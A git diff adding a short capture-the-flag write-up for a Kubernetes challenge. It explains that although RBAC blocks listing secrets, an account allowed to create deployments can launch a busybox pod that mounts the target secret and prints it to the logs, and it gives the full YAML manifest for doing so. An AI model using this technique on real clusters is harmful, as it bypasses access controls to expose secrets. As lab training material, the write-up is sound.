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Diffstat (limited to 'punkctf/k8s_03.md')
-rw-r--r-- | punkctf/k8s_03.md | 39 |
1 files changed, 39 insertions, 0 deletions
diff --git a/punkctf/k8s_03.md b/punkctf/k8s_03.md new file mode 100644 index 0000000..6f643be --- /dev/null +++ b/punkctf/k8s_03.md @@ -0,0 +1,39 @@ + +Using `kubectl auth can-i --list`, we see that we can't access secrets anymore, but we can create deployments. + +Looking at the existing pod, we see that it mounts a secret called `y0u-cant-l1st-m3-s3crets-n0w`, but it only outputs the hash and we can't exec into it in this challenge. + +We can create a deployment similar to the existing pod, but without the hashing: + +```yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: flag-getter +spec: + replicas: 1 + selector: + matchLabels: + app: flag-getter + template: + metadata: + labels: + app: flag-getter + spec: + containers: + - command: + - cat + - /flag/flag + image: busybox + imagePullPolicy: IfNotPresent + name: flag-getter + volumeMounts: + - mountPath: /flag + name: flag + volumes: + - name: flag + secret: + secretName: y0u-cant-l1st-m3-s3crets-n0w +``` + +This will die immediately, but that's fine - just read the pod logs and it will have the flag. |